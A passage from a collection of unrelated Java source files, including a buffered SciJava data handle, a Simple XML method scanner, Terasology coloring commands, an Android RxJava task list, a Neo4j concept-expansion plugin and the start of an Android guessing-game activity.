*
* @param input string input value
* @return boolean response if input is empty or not
*/
private final boolean isEmpty(String input) {
return (input==null || input.trim().length() == 0);
}
/**
* Helper function to check if a byte array is empty
*
* @param input string input value
* @return boolean response if input is empty or not
*/
private final boolean isEmpty(byte[] input) {
return (input==null || input.length == 0);
}
/**
* Helper function to check if a char array is empty
*
* @param input string input value
* @return boolean response if input is empty or not
*/
private final boolean isEmpty(char[] input) {
return (input==null || input.length == 0);
}
}
|
package org.scijava.io.handle;
import java.io.IOException;
import java.util.ArrayDeque;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Deque;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.scijava.io.location.Location;
/**
* Read-only buffered {@link DataHandle}. It buffers the underlying handle into
* a fixed number of pages, swapping them out when necessary.
*/
public class ReadBufferDataHandle extends AbstractHigherOrderHandle<Location> {
private static final int DEFAULT_PAGE_SIZE = 10_000;
private static final int DEFAULT_NUM_PAGES = 10;
private final int pageSize;
private final List<byte[]> pages;
private final int[] slotToPage;
private final LRUReplacementStrategy replacementStrategy;
private final Map<Integer, Integer> pageToSlot;
private long offset = 0l;
private byte[] currentPage;
private int currentPageID = -1;
/**
* Creates a {@link ReadBufferDataHandle} wrapping the provided handle using the
* default values for the size of the pages ({@value #DEFAULT_PAGE_SIZE} byte)
* and number of pages ({@link #DEFAULT_NUM_PAGES}).
*
* @param handle
* the handle to wrap
*/
public ReadBufferDataHandle(final DataHandle<Location> handle) {
this(handle, DEFAULT_PAGE_SIZE);
}
/**
* Creates a {@link ReadBufferDataHandle} wrapping the provided handle using the
* default value for the number of pages ({@link #DEFAULT_NUM_PAGES}).
*
* @param handle
* the handle to wrap
* @param pageSize
* the size of the used pages
*/
public ReadBufferDataHandle(final DataHandle<Location> handle, final int pageSize) {
this(handle, pageSize, DEFAULT_NUM_PAGES);
}
/**
* Creates a {@link ReadBufferDataHandle} wrapping the provided handle.
*
* @param handle
* the handle to wrap
* @param pageSize
* the size of the used pages
* @param numPages
* the number of pages to use
*/
public ReadBufferDataHandle(final DataHandle<Location> handle, final int pageSize, final int numPages) {
super(handle);
this.pageSize = pageSize;
// init maps
slotToPage = new int[numPages];
Arrays.fill(slotToPage, -1);
pages = new ArrayList<>(numPages);
for (int i = 0; i < numPages; i++) {
pages.add(null);
}
pageToSlot = new HashMap<>();
replacementStrategy = new LRUReplacementStrategy(numPages);
}
/**
* Ensures that the byte at the given offset is buffered, and sets the current
* page to be the one containing the specified location.
*/
private void ensureBuffered(final long globalOffset) throws IOException {
ensureOpen();
final int pageID = (int) (globalOffset / pageSize);
if (pageID == currentPageID)
return;
final int slotID = pageToSlot.computeIfAbsent(pageID, replacementStrategy::pickVictim);
final int inSlotID = slotToPage[slotID];
if (inSlotID != pageID) { // desired page is not buffered
// update the mappings
slotToPage[slotID] = pageID;
pageToSlot.put(pageID, slotID);
pageToSlot.put(inSlotID, null);
// read the page
currentPage = readPage(pageID, slotID);
} else {
currentPage = pages.get(slotID);
}
replacementStrategy.accessed(slotID);
currentPageID = pageID;
}
/**
* Reads the page with the id <code>pageID</code> into the slot with the id
* <code>slotID</code>.
*
* @param pageID
* the id of the page to read
* @param slotID
* the id of the slot to read the page into
* @return the read page
* @throws IOException
* if the reading fails
*/
private byte[] readPage(final int pageID, final int slotID) throws IOException {
replacementStrategy.accessed(slotID);
byte[] page = pages.get(slotID);
if (page == null) {
// lazy initialization
page = new byte[pageSize];
pages.set(slotID, page);
}
final long startOfPage = pageID * (long) pageSize;
if (handle().offset() != startOfPage) {
handle().seek(startOfPage);
}
// NB: we read repeatedly until the page is full or EOF is reached
// handle().read(..) might read less bytes than requested
int off = 0;
while (off < pageSize) {
final int read = handle().read(page, off, pageSize - off);
if (read == -1) { // EOF
break;
}
off += read;
}
return page;
}
/**
* Calculates the offset in the current page for the given global offset
*/
private int globalToLocalOffset(final long off) {
return (int) (off % pageSize);
}
@Override
public void seek(final long pos) throws IOException {
this.offset = pos;
}
@Override
public int read(final byte[] b, final int targetOffset, final int len)
throws IOException
{
if (len == 0) return 0;
// the last position we will read
final long endPos = offset + len;
// the number of bytes we plan to read
final int readLength = (int) (endPos < length() ? len : length() - offset);
int read = 0; // the number of bytes we have read
int localTargetOff = targetOffset;
while (read < readLength) {
ensureBuffered(offset);
// calculate local offsets
final int pageOffset = globalToLocalOffset(offset);
int localLength = pageSize - pageOffset;
if (read + localLength > readLength) {
localLength = readLength - read;
}
// copy the data
System.arraycopy(currentPage, pageOffset, b, localTargetOff, localLength);
// update offsets
read += localLength;
offset += localLength;
localTargetOff += localLength;
}
// return -1 if we tried to read at least one byte but failed
return read != 0 ? read : -1;
}
@Override
public byte readByte() throws IOException {
ensureBuffered(offset);
return currentPage[globalToLocalOffset(offset++)];
}
@Override
public boolean isReadable() {
return true;
}
@Override
public long offset() throws IOException {
return offset;
}
@Override
protected void cleanup() {
pages.clear();
currentPage = null;
}
@Override
public void write(final int b) throws IOException {
throw DataHandles.readOnlyException();
}
@Override
public void write(final byte[] b, final int off, final int len) throws IOException {
throw DataHandles.readOnlyException();
}
@Override
public void setLength(final long length) throws IOException {
throw DataHandles.readOnlyException();
}
/**
* Simple strategy to pick the slot that get's evicted from the cache. This
* strategy always picks the least recently used slot.
*/
private class LRUReplacementStrategy {
private final Deque<Integer> queue;
/**
* Creates a {@link LRUReplacementStrategy} with the specified number of slots.
*
* @param numSlots
* the number of slots to use
*/
public LRUReplacementStrategy(final int numSlots) {
queue = new ArrayDeque<>(numSlots);
// fill the que
for (int i = 0; i < numSlots; i++) {
queue.add(i);
}
}
/**
* Notifies this strategy that a slot has been accessed, pushing it to the end
* of the queue.
*
* @param slotID
* the id of the slot that has been accessed
*/
public void accessed(final int slotID) {
// put accessed element to the end of the que
queue.remove(slotID);
queue.add(slotID);
}
public int pickVictim(final int pageID) {
return queue.peek();
}
}
}
|
package org.simpleframework.xml.load;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Text;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Iterator;
/**
* The <code>MethodScanner</code> object is used to scan an object
* for matching get and set methods for an XML annotation. This will
* scan for annotated methods starting with the most specialized
* class up the class hierarchy. Thus, annotated methods can be
* overridden in a type specialization.
* <p>
* The annotated methods must be either a getter or setter method
* following the Java Beans naming conventions. This convention is
* such that a method must begin with "get", "set", or "is". A pair
* of set and get methods for an annotation must make use of the
* same type. For instance if the return type for the get method
* was <code>String</code> then the set method must have a single
* argument parameter that takes a <code>String</code> type.
* <p>
* For a method to be considered there must be both the get and set
* methods. If either method is missing then the scanner fails with
* an exception. Also, if an annotation marks a method which does
* not follow Java Bean naming conventions an exception is thrown.
*
* @author Niall Gallagher
*/
class MethodScanner extends ContactList {
/**
* This is used to acquire the hierarchy for the class scanned.
*/
private Hierarchy hierarchy;
/**
* This is used to collect all the set methods from the object.
*/
private PartMap write;
/**
* This is used to collect all the get methods from the object.
*/
private PartMap read;
/**
* This is the type of the object that is being scanned.
*/
private Class type;
/**
* Constructor for the <code>MethodScanner</code> object. This is
* used to create an object that will scan the specified class
* such that all bean property methods can be paired under the
* XML annotation specified within the class.
*
* @param type this is the type that is to be scanned for methods
*
* @throws Exception thrown if there was a problem scanning
*/
public MethodScanner(Class type) throws Exception {
this.hierarchy = new Hierarchy(type);
this.write = new PartMap();
this.read = new PartMap();
this.type = type;
this.scan(type);
}
/**
* This method is used to scan the class hierarchy for each class
* in order to extract methods that contain XML annotations. If
* a method is annotated it is converted to a contact so that
* it can be used during serialization and deserialization.
*
* @param type this is the type to be scanned for methods
*
* @throws Exception thrown if the object schema is invalid
*/
private void scan(Class type) throws Exception {
for(Class next : hierarchy) {
scan(type, next);
}
build();
validate();
}
/**
* This is used to scan the declared methods within the specified
* class. Each method will be checked to determine if it contains
* an XML element and can be used as a <code>Contact</code> for
* an entity within the object.
*
* @param real this is the actual type of the object scanned
* @param type this is one of the super classes for the object
*
* @throws Exception thrown if the class schema is invalid
*/
private void scan(Class real, Class type) throws Exception {
Method[] method = type.getDeclaredMethods();
for(int i = 0; i < method.length; i++) {
scan(method[i]);
}
}
/**
* This is used to scan all annotations within the given method.
* Each annotation is checked against the set of supported XML
* annotations. If the annotation is one of the XML annotations
* then the method is considered for acceptance as either a
* get method or a set method for the annotated property.
*
* @param method the method to be scanned for XML annotations
*
* @throws Exception if the method is not a Java Bean method
*/
private void scan(Method method) throws Exception {
Annotation[] list = method.getDeclaredAnnotations();
for(int i = 0; i < list.length; i++) {
scan(method, list[i]);
}
}
/**
* This reflectively checks the annotation to determine the type
* of annotation it represents. If it represents an XML schema
* annotation it is used to create a <code>Contact</code> which
* can be used to represent the method within the source object.
*
* @param method the method that the annotation comes from
* @param label the annotation used to model the XML schema
*
* @throws Exception if there is more than one text annotation
*/
private void scan(Method method, Annotation label) throws Exception {
if(label instanceof Attribute) {
process(method, label);
}
if(label instanceof ElementList) {
process(method, label);
}
if(label instanceof ElementArray) {
process(method, label);
}
if(label instanceof ElementMap) {
process(method, label);
}
if(label instanceof Element) {
process(method, label);
}
if(label instanceof Text) {
process(method, label);
}
}
/**
* This is used to classify the specified method into either a get
* or set method. If the method is neither then an exception is
* thrown to indicate that the XML annotations can only be used
* with methods following the Java Bean naming conventions. Once
* the method is classified is is added to either the read or
* write map so that it can be paired after scanning is complete.
*
* @param method this is the method that is to be classified
* @param label this is the annotation applied to the method
*/
private void process(Method method, Annotation label) throws Exception {
MethodPart part = MethodPartFactory.getInstance(method, label);
MethodType type = part.getMethodType();
if(type == MethodType.GET) {
process(part, read);
}
if(type == MethodType.IS) {
process(part, read);
}
if(type == MethodType.SET) {
process(part, write);
}
}
/**
* This is used to determine whether the specified method can be
* inserted into the given <code>PartMap</code>. This ensures
* that only the most specialized method is considered, which
* enables annotated methods to be overridden in subclasses.
*
* @param method this is the method part that is to be inserted
* @param map this is the part map used to contain the method
*/
private void process(MethodPart method, PartMap map) {
String name = method.getName();
if(name != null) {
map.put(name, method);
}
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*
* @throws Exception thrown if there is a problem matching methods
*/
private void build() throws Exception {
for(String name : read) {
MethodPart part = read.get(name);
if(part != null) {
build(part, name);
}
}
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*
* @param read this is a get method that has been extracted
* @param name this is the Java Bean methos name to be matched
*
* @throws Exception thrown if there is a problem matching methods
*/
private void build(MethodPart read, String name) throws Exception {
MethodPart match = write.take(name);
Method method = read.getMethod();
if(match == null) {
throw new MethodException("No matching set method for %s in %s", method, type);
}
build(read, match);
}
/**
* This method is used to pair the get methods with a matching set
* method. This pairs methods using the Java Bean method name, the
* names must match exactly, meaning that the case and value of
* the strings must be identical. Also in order for this to succeed
* the types for the methods and the annotation must also match.
*
* @param read this is a get method that has been extracted
* @param write this is the write method to compare details with
*
* @throws Exception thrown if there is a problem matching methods
*/
private void build(MethodPart read, MethodPart write) throws Exception {
Annotation label = read.getAnnotation();
String name = read.getName();
if(!write.getAnnotation().equals(label)) {
throw new MethodException("Annotations do not match for '%s' in %s", name, type);
}
Class type = read.getType();
if(type != write.getType()) {
throw new MethodException("Method types do not match for %s in %s", name, type);
}
add(new MethodContact(read, write));
}
/**
* This is used to validate the object once all the get methods
* have been matched with a set method. This ensures that there
* is not a set method within the object that does not have a
* match, therefore violating the contract of a property.
*
* @throws Exception thrown if there is a unmatched set method
*/
private void validate() throws Exception {
for(String name : write) {
MethodPart part = write.get(name);
if(part != null) {
validate(part, name);
}
}
}
/**
* This is used to validate the object once all the get methods
* have been matched with a set method. This ensures that there
* is not a set method within the object that does not have a
* match, therefore violating the contract of a property.
*
* @param write this is a get method that has been extracted
* @param name this is the Java Bean methods name to be matched
*
* @throws Exception thrown if there is a unmatched set method
*/
private void validate(MethodPart write, String name) throws Exception {
MethodPart match = read.take(name);
Method method = write.getMethod();
if(match == null) {
throw new MethodException("No matching get method for %s in %s", method, type);
}
}
/**
* The <code>PartMap</code> is used to contain method parts using
* the Java Bean method name for the part. This ensures that the
* scanned and extracted methods can be acquired using a common
* name, which should be the parsed Java Bean method name.
*
* @see org.simpleframework.xml.load.MethodPart
*/
private class PartMap extends LinkedHashMap<String, MethodPart> implements Iterable<String>{
/**
* This returns an iterator for the Java Bean method names for
* the <code>MethodPart</code> objects that are stored in the
* map. This allows names to be iterated easily in a for loop.
*
* @return this returns an iterator for the method name keys
*/
public Iterator<String> iterator() {
return keySet().iterator();
}
/**
* This is used to acquire the method part for the specified
* method name. This will remove the method part from this map
* so that it can be checked later to ensure what remains.
*
* @param name this is the method name to get the method with
*
* @return this returns the method part for the given key
*/
public MethodPart take(String name) {
return remove(name);
}
}
}
|
package org.sonar.plugins.stash;
import java.text.MessageFormat;
import java.util.Comparator;
import java.util.List;
import org.sonar.api.rule.Severity;
public class SeverityComparator implements Comparator<String> {
private List<String> severities = Severity.ALL;
@Override
public int compare(String o1, String o2) {
return Comparator.comparingInt(this::indexOf).compare(o1, o2);
}
private int indexOf(String o) {
int r = severities.indexOf(o);
if (r == -1) {
throw new IllegalArgumentException(
MessageFormat.format("Invalid Severity \"{0}\", expecting one of {1}", o, severities)
);
}
return r;
}
}
|
package org.spongepowered.api.data;
import com.google.common.base.Optional;
/**
* Represents a changelist of data that can be applied to a {@link DataHolder}.
* With a {@link DataManipulator}, specific sets of mutable data can be
* represented and changed outside the live state of the {@link DataHolder}.
*
* <p>{@link DataManipulator}s are serializable such that they can be serialized
* and deserialized from persistence, and applied to {@link DataHolder}s with
* respects to their {@link DataPriority}.</p>
*
* @param <T> The type of {@link DataManipulator} for comparisons
*/
public interface DataManipulator<T extends DataManipulator<T>> extends Comparable<T>, DataSerializable {
/**
* Attempts to read data from the given {@link DataHolder} and constructs
* a new copy of this {@link DataManipulator} as an instance of
* <code>T</code>. Any data that overlaps between this and the given
* {@link DataHolder} will be resolved by a default
* {@link DataPriority#PRE_MERGE} such that the current data from this
* {@link DataManipulator} will be applied before the existing data from
* the {@link DataHolder}.
*
* <p>Any data that overlaps existing data from the {@link DataHolder} will
* take priority and be overwriten from the pre-existing data from the
* {@link DataHolder}. It is recommended that a call from
* {@link DataHolder#isCompatible(Class)} is checked prior to using this
* method on any {@link DataHolder}.</p>
*
* @param dataHolder The {@link DataHolder} to extract data
* @return A new instance of this {@link DataManipulator} with relevant
* data filled from the given {@link DataHolder}
*/
Optional<T> fill(DataHolder dataHolder);
/**
* Attempts to read data from the given {@link DataHolder} and constructs
* a new copy of this {@link DataManipulator} as an instance of
* <code>T</code>. Any data that overlaps between this and the given
* {@link DataHolder} will be resolved using the given
* {@link DataPriority}.
*
* <p>Any data that overlaps existing data from the {@link DataHolder} will
* take priority and be overwriten from the pre-existing data from the
* {@link DataHolder}. It is recommended that a call from
* {@link DataHolder#isCompatible(Class)} is checked prior to using this
* method on any {@link DataHolder}.</p>
*
* @param dataHolder The {@link DataHolder} to extract data
* @param overlap The overlap resolver to decide which data to retain
* @return A new instance of this {@link DataManipulator} with relevant
* data filled from the given {@link DataHolder}
*/
Optional<T> fill(DataHolder dataHolder, DataPriority overlap);
/**
* Attempts to read the raw data from the provided {@link DataContainer}.
*
* @param container The container of raw data
* @return A new instance, if the data was compatible
*/
Optional<T> from(DataContainer container);
/**
* Creates a copy of this {@link DataManipulator} and copies all data of
* this manipulator into the new {@link DataManipulator}. This manipulator
* is left unaffected.
*
* @return The new copy of this manipulator with all data copied
*/
T copy();
}
|
package coloring;
import java.io.IOException;
import org.terasology.entitySystem.systems.RegisterSystem;
import org.terasology.logic.console.commandSystem.annotations.Command;
import org.terasology.logic.console.commandSystem.annotations.CommandParam;
import org.terasology.logic.permission.PermissionManager;
@RegisterSystem
/**
* Los metodos de Coloring deberian ir aca y seguir un formato similar al del
* comando ya implementado: Recibir parametros, guardarlos en una lista,
* instanciar el objeto adecuado de la jerarquia de AbstractColoring y usar su
* metodo execute, pasandole la lista de parametros guardada.
*
* Cada uno de estos metodos sera luego llamado por su boton correspondiente
* en el submenu de coloreo.
* (ej: /engine/src/main/java/org/terasology/rendering/nui/layers/mainMenu/CoberturaMenuScreen.java)
*/
public class ColoringCommands {
@Command(shortDescription = "Coloreo usando Cobertura",
helpText = "Ejecuta colore usando Cobertura sobre los archivos especificados\n"
+ "<filesFolder>: Archivos que son testeados\n"
+ "<testsFolder>: Archivos de test\n",
requiredPermission = PermissionManager.NO_PERMISSION)
public String paintWithCobertura(
@CommandParam(value = "filesFolder",required = true) String filesFolder,
@CommandParam(value="testsFolder",required=true) String testsFolder) throws IOException{
CoberturaColoring cob = new CoberturaColoring();
String[] pars = new String[2];
pars[0] = filesFolder;
pars[1] = testsFolder;
cob.execute(pars);
return "Loading ...";
}
@Command(shortDescription = "Coloreo usando CheckStyle",
helpText = "Ejecuta colore usando CheckStyle\n",
requiredPermission = PermissionManager.NO_PERMISSION)
public String paintWithCheckStyle(@CommandParam String path,
@CommandParam String metric, @CommandParam String max) {
String[] params = {path, metric, max};
IColoring c = new CheckStyleColoring();
c.execute(params);
return "";
}
@Command(shortDescription = "Coloreo usando PMD",
helpText = "Ejecuta coloreo usando PMD y dando como argumento la regla correspondiente\n",
requiredPermission = PermissionManager.NO_PERMISSION)
public String paintWithPMD(@CommandParam String rule) {
String[] params = {rule};
IColoring c = new PMDColoring();
c.execute(params);
return "";
}
}
|
package com.dummies.tasks.fragment;
import android.app.Activity;
import android.app.Application;
import android.app.Fragment;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import com.dummies.tasks.R;
import com.dummies.tasks.activity.PreferencesActivity;
import com.dummies.tasks.adapter.TaskListAdapter;
import com.dummies.tasks.interfaces.OnEditTask;
import java.util.HashMap;
import java.util.HashSet;
import rx.Observable;
import rx.Subscription;
import rx.android.schedulers.AndroidSchedulers;
import rx.functions.Action1;
import rx.functions.Func0;
import rx.observers.Subscribers;
import rx.schedulers.Schedulers;
public class TaskListFragment extends Fragment
{
private static final String DATABASE_NAME = "data";
private static final String DATABASE_TABLE = "tasks";
TaskListAdapter adapter;
RecyclerView recyclerView;
SQLiteDatabase db;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
adapter = new TaskListAdapter();
db = SQLiteDatabase.openDatabase(
getActivity().getDatabasePath(DATABASE_NAME).getPath(), null,
SQLiteDatabase.OPEN_READWRITE);
// TODO this results in multiple registrations
getActivity().getApplication().registerActivityLifecycleCallbacks(
RxActivityLifecycleCallbacks.INSTANCE
);
}
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
setHasOptionsMenu(true);
RxActivityLifecycleCallbacks.registerSubscriptionForRemoveOnDestroy(
getActivity(),
Observable.defer(
new Func0<Observable<Cursor>>() {
@Override
public Observable<Cursor> call() {
return TaskListFragment.this.query(
db, false, DATABASE_TABLE, null, null, null, null,
null, null, null);
}
})
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
Subscribers.create(
new Action1<Cursor>() {
@Override
public void call(Cursor cursor) {
adapter.swapCursor(cursor);
}
}
))
);
}
Observable<Cursor> query( SQLiteDatabase db,
boolean distinct,
String table,
String[]columns,
String selection,
String[] selectionArgs,
String groupBy,
String having,
String orderBy,
String limit)
{
return Observable.just(db.query(distinct, table, columns, selection,
selectionArgs, groupBy, having, orderBy, limit));
}
@Override
public View onCreateView(LayoutInflater inflater,
ViewGroup container,
Bundle savedInstanceState) {
final View v = inflater.inflate(R.layout.fragment_task_list,
container, false);
recyclerView = (RecyclerView) v.findViewById(R.id.recycler);
recyclerView.setAdapter(adapter);
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(
new LinearLayoutManager(getActivity()));
return v;
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
super.onCreateOptionsMenu(menu, inflater);
inflater.inflate(R.menu.menu_list, menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.menu_insert:
((OnEditTask) getActivity()).editTask(0);
return true;
case R.id.menu_settings:
startActivity(new Intent(getActivity(),
PreferencesActivity.class));
return true;
}
return super.onOptionsItemSelected(item);
}
}
// TODO This solution won't work with fragments
class RxActivityLifecycleCallbacks
implements Application.ActivityLifecycleCallbacks
{
public static final RxActivityLifecycleCallbacks INSTANCE
= new RxActivityLifecycleCallbacks();
HashMap<Activity, HashSet<Subscription>> map = new HashMap<>();
@Override
public void onActivityCreated(Activity activity, Bundle
savedInstanceState) {
}
@Override
public void onActivityStarted(Activity activity) {
}
@Override
public void onActivityResumed(Activity activity) {
}
@Override
public void onActivityPaused(Activity activity) {
}
@Override
public void onActivityStopped(Activity activity) {
}
@Override
public void onActivitySaveInstanceState(Activity activity, Bundle
outState) {
}
@Override
public void onActivityDestroyed(Activity activity) {
// Remove any outstanding subscriptions
HashSet<Subscription> subscriptions = map.remove(activity);
for( Subscription subscription : subscriptions )
subscription.unsubscribe();
}
public static void registerSubscriptionForRemoveOnDestroy(
Activity activity, Subscription subscription)
{
// TODO not thread safe and not pretty
HashSet<Subscription> subscriptions = INSTANCE.map.get(activity);
if( subscriptions==null )
subscriptions=new HashSet<>();
subscriptions.add(subscription);
INSTANCE.map.put(activity,subscriptions);
}
}
|
package org.waag.histograph.plugins;
import org.codehaus.jackson.JsonEncoding;
import org.codehaus.jackson.JsonFactory;
import org.codehaus.jackson.JsonGenerator;
import org.codehaus.jackson.JsonParser;
import org.codehaus.jackson.map.ObjectMapper;
import org.neo4j.graphdb.*;
import org.neo4j.graphdb.Path;
import org.neo4j.graphdb.traversal.Evaluators;
import org.neo4j.graphdb.traversal.TraversalDescription;
import org.neo4j.graphdb.traversal.Traverser;
import org.neo4j.graphdb.traversal.Uniqueness;
import javax.servlet.http.HttpServletRequest;
import javax.ws.rs.*;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.StreamingOutput;
import java.io.*;
import java.util.ArrayList;
import javax.ws.rs.core.Context;
@javax.ws.rs.Path( "/expand" )
public class ExpandConcepts {
private enum Rels implements RelationshipType {
hg_sameHgConcept, hg_isUsedFor, hg_liesIn, hg_originated, hg_absorbedBy
}
private GraphDatabaseService graphDb;
private final ObjectMapper objectMapper;
private TraversalDescription conceptTraversalDescription;
private TraversalDescription hairsTraversalDescription;
private boolean isPit(Node node) {
for (Label label: node.getLabels()) {
if (label.name().equals("_Rel")) {
return false;
}
}
return true;
}
public ExpandConcepts(@Context GraphDatabaseService graphDb) {
this.graphDb = graphDb;
this.objectMapper = new ObjectMapper();
this.conceptTraversalDescription = graphDb.traversalDescription()
.breadthFirst()
.relationships(Rels.hg_isUsedFor, Direction.BOTH)
.relationships(Rels.hg_sameHgConcept, Direction.BOTH)
.uniqueness(Uniqueness.NODE_RECENT);
this.hairsTraversalDescription = graphDb.traversalDescription()
.depthFirst()
.relationships(Rels.hg_liesIn, Direction.OUTGOING)
.relationships(Rels.hg_originated, Direction.OUTGOING)
.relationships(Rels.hg_absorbedBy, Direction.OUTGOING)
.evaluator(Evaluators.fromDepth(2))
.evaluator(Evaluators.toDepth(2));
//.uniqueness(Uniqueness.NODE_PATH);
//.evaluator(Evaluators.excludeStartPosition());
}
@POST
@javax.ws.rs.Path("/")
public Response chips(@Context HttpServletRequest request, final InputStream requestBody) {
StreamingOutput stream = new StreamingOutput() {
@Override
public void write(OutputStream os) throws IOException, WebApplicationException {
BufferedReader reader = new BufferedReader(new InputStreamReader(requestBody));
JsonFactory f = new JsonFactory();
JsonParser jp = f.createJsonParser(reader);
ExpandParameters parameters = objectMapper.readValue(jp, ExpandParameters.class);
JsonGenerator jg = objectMapper.getJsonFactory().createJsonGenerator( os, JsonEncoding.UTF8 );
ArrayList<String> visited = new ArrayList<String>();
jg.writeStartArray();
try (Transaction tx = graphDb.beginTx()) {
for (String id : parameters.ids) {
if (!visited.contains(id)) {
Concept concept = new Concept();
Node node = graphDb.findNode(DynamicLabel.label("_"), "id", id);
concept.addPit(node);
visited.add(id);
if (node == null) {
continue;
}
Traverser conceptTraverser = conceptTraversalDescription.traverse(node);
// Get all nodes found in each path, add them to concept if they weren't added before
for (Path path : conceptTraverser) {
Node startNode = path.startNode();
String startNodeId = startNode.getProperty("id").toString();
Node endNode = path.endNode();
String endNodeId = endNode.getProperty("id").toString();
if (!visited.contains(endNodeId)) {
boolean endNodeIsPit = isPit(endNode);
if (endNodeIsPit) {
concept.addPit(endNode);
}
visited.add(endNodeId);
}
}
for (Path path : conceptTraverser) {
// Identity relation paths (always length 2) denote single identify relation
// between two PITs in concept. Walk paths, and add them to concept!
for (Node pathNode: path.nodes()) {
if (!isPit(pathNode)) {
Iterable<Relationship> outgoingRelations = pathNode.getRelationships(Direction.OUTGOING);
Iterable<Relationship> incomingRelations = pathNode.getRelationships(Direction.INCOMING);
Relationship outgoingRelation = outgoingRelations.iterator().next();
Relationship incomingRelation = incomingRelations.iterator().next();
String incomingStartNodeId = incomingRelation.getStartNode().getProperty("id").toString();
concept.addRelation(incomingStartNodeId, outgoingRelation);
}
}
}
Traverser hairsTraverser = hairsTraversalDescription.traverse(concept.getNodes());
// Each path is an incoming or outgoing hair: (p)-[r]-[q]
// p belongs to the concept, q does not
for (Path path : hairsTraverser) {
String startNodeId = path.startNode().getProperty("id").toString();
Node endNode = path.endNode();
Relationship relation = path.lastRelationship();
concept.addHair(startNodeId, relation, endNode);
}
concept.toJson(jg);
}
}
}
jg.writeEndArray();
jg.flush();
jg.close();
}
};
return Response.ok().entity( stream ).type( MediaType.APPLICATION_JSON ).build();
}
}
|
package org.zalando.nakadi.domain;
import javax.annotation.Nullable;
public class EventTypeOptions {
private Long retentionTime;
@Nullable
public Long getRetentionTime() {
return retentionTime;
}
public void setRetentionTime(@Nullable final Long retentionTime) {
this.retentionTime = retentionTime;
}
}
|
package unknown.thegeniusapp;
import android.content.DialogInterface;
import android.os.Bundle;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.text.InputType;
import android.util.Log;
import android.view.MotionEvent;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import org.w3c.dom.Text;
public class OfflineMode extends AppCompatActivity{
private Button player1_button;
private Button player2_button;
private TextView player1_score;
private TextView player2_score;
private TextView input1_view;
private TextView input2_view;
private TextView[] hint_inputs = new TextView[12];
private TextView[] hint_answer = new TextView[6];
private UnknownFunctionGenerator unknownFunction;
private int final_answer;
private int input1;
private int input2;
int tempCounter = 100;
int testing;
@Override
protected void onCreate(final Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.offline_mode_window);
ActionBar actionBar = getSupportActionBar();
if(actionBar != null){
actionBar.hide();
}
// Obtain two random inputs and display them
input1 = (int)Math.round(Math.random() * 1000.0) % 1000;
input2 = (int)Math.round(Math.random() * 1000.0) % 1000;
Log.d("Input1", String.valueOf(input1));
Log.d("Input2", String.valueOf(input2));
View questionContainer = findViewById(R.id.question);
input1_view = (TextView) questionContainer.findViewById(R.id.input1);
input2_view = (TextView) questionContainer.findViewById(R.id.input2);
input1_view.setText(String.valueOf(input1));
input2_view.setText(String.valueOf(input2));
// Add Click event and touch effect to the settings button (image)
ImageView settings_button = (ImageView) questionContainer.findViewById(R.id.settings_button);
settings_button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// it is supposed to be a settings button, but for now it will only be acted as quit button
finish();
}
});
settings_button.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
ImageView view = (ImageView) v;
switch (event.getAction()){
case MotionEvent.ACTION_DOWN:
view.setImageResource(R.drawable.settings_icon_purple);
break;
case MotionEvent.ACTION_UP:
view.setImageResource(R.drawable.settings_icon_black);
break;
}
return false;
}
});
// Initialize players' answer buttons and their function
player1_button = (Button) findViewById(R.id.player1_button);
player2_button = (Button) findViewById(R.id.player2_button);
player1_button.setOnClickListener(answer_button);
player2_button.setOnClickListener(answer_button);
// Initialize player's score field
player1_score = (TextView) findViewById(R.id.player1_score);
player2_score = (TextView) findViewById(R.id.player2_score);
// Initialize all hint input buttons
View hint1 = findViewById(R.id.hint_1);
View hint2 = findViewById(R.id.hint_2);
View hint3 = findViewById(R.id.hint_3);
View hint4 = findViewById(R.id.hint_4);
View hint5 = findViewById(R.id.hint_5);
View hint6 = findViewById(R.id.hint_6);
hint_inputs[0] = (TextView) hint1.findViewById(R.id.num1);
hint_inputs[1] = (TextView) hint1.findViewById(R.id.num2);
hint_inputs[2] = (TextView) hint2.findViewById(R.id.num1);
hint_inputs[3] = (TextView) hint2.findViewById(R.id.num2);
hint_inputs[4] = (TextView) hint3.findViewById(R.id.num1);
hint_inputs[5] = (TextView) hint3.findViewById(R.id.num2);
hint_inputs[6] = (TextView) hint4.findViewById(R.id.num1);
hint_inputs[7] = (TextView) hint4.findViewById(R.id.num2);
hint_inputs[8] = (TextView) hint5.findViewById(R.id.num1);
